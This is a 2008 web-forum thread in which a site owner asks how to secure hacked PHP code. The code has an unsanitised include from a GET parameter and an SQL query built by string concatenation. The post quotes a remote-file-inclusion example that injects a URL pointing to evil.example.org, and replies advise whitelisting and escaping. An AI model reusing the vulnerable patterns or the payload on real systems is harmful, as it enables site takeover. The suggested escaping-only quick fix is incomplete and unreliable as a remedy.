Is there a way to secure this code? It got hacked.

Discussion in 'PHP' started by pdbowling, Jul 15, 2008.

  1. #1
    I have a third party website that got hacked and the supplier is out of business (bad code, I can see why). It has this code.
    
    if ($_GET["page"]=='')
      if ($_GET["pagedb"]!='')
      {
        $sql="SELECT * FROM document_master where doc_title='".$_GET["pagedb"]."'";
        $cmd = mysql_query($sql);
        $rs = mysql_fetch_array($cmd);?>
        <br><?=getsettings(8,"",2);?><br><br>
        <?echo $rs["doc_content"];
      }
      else 
      {			
        include("home.php"); 
      }
    else
    {
      include($_GET["page"].".php"); 
    }
    ?>
    <?include("footer.php"); ?>
    
    Code (markup):
    It got hacked using this method I researched on another site.

    
    With register_globals enabled, this page can be requested with
    ?path=http%3A%2F%2Fevil.example.org%2F%3F
    in the query string in order to equate this example to the following:
    
    <?php
    
    include 'http://evil.example.org/?/script.php';
    
    ?>
    
    If allow_url_fopen is enabled (which it is by default, even in
    php.ini-recommended), this will include the output of
    http://evil.example.org/ just as if it were a local file. This is
    a major security vulnerability, and it is one that has been discovered
    in some popular open source applications.
    
    Code (markup):
    I 'think' that the foreign file csvxunon.php got uploaded to the server using this method. Also, the index.php was replaced.

    Now the usual way to fix this is to turn off register_globals in the .htaccess file, but this kills the site. Also, I tried turning off allow_url_fopen, but that kills the site, too.

    Any suggestions? I can code a little. I'm just not good at php so don't really know the appropriate avenues to get started.

    For more info, here is my .htaccess content. I see something in here about the ?page variable.
    
    # -FrontPage-
    
    IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*
    
    RewriteEngine on
    RewriteRule ^category(.*).html$ index.php?page=category&category_id=$1 [L]
    RewriteRule ^article(.*).html$ index.php?page=article&article_id=$1 [L]
    RewriteRule ^page_(.*).html$ index.php?pagedb=$1 [L]
    RewriteRule ^index.html$ index.php
    
    <Limit GET POST>
    order deny,allow
    deny from all
    allow from all
    </Limit>
    <Limit PUT DELETE>
    order deny,allow
    deny from all
    </Limit>
    
    Code (markup):
    Changing allow from all to deny from also kills the site. I tried allow valid-user as well.
     
    pdbowling, Jul 15, 2008 IP
  2. Todd

    Todd Active Member

    Messages:
    63
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    93
    #2
    On the else, you really need to restrict the pages that it will include or ensure that they are from a trusted source.

    That will prevent the issue you feel they used to infect you but doesn't solve all the problems. The construct of $sql is open for SQL injection as well.

    The entire site should be examined closely and stuff like that rewritten...otherwise they'll just locate a new door!
     
    Todd, Jul 15, 2008 IP
  3. abluegrape

    abluegrape Peon

    Messages:
    1,029
    Likes Received:
    10
    Best Answers:
    0
    Trophy Points:
    0
    #3
    As Todd has said, your script is ripe for SQL injection as you don't appear to check the actual values of page or pagedb.

    Take a look at the PHP mysql_real_escape_string fuction, that will help for a start.

    Ry
     
    abluegrape, Jul 15, 2008 IP
  4. revvi

    revvi Peon

    Messages:
    58
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Just as note:
    using $_GET, then using include based on the value of $_GET is not a good thing to do. Try to avoid this way.
     
    revvi, Jul 16, 2008 IP
  5. jayshah

    jayshah Peon

    Messages:
    1,126
    Likes Received:
    68
    Best Answers:
    1
    Trophy Points:
    0
    #5
    If you want a fast fix while you look into it, do something like:

    $_GET = array_map('mysql_real_escape_string', $_GET);
    PHP:
    If you use your variables for something else, you may not want to use it (if your data has quotes and such), but this will keep them out while you work on securing your script.

    Jay
     
    jayshah, Jul 16, 2008 IP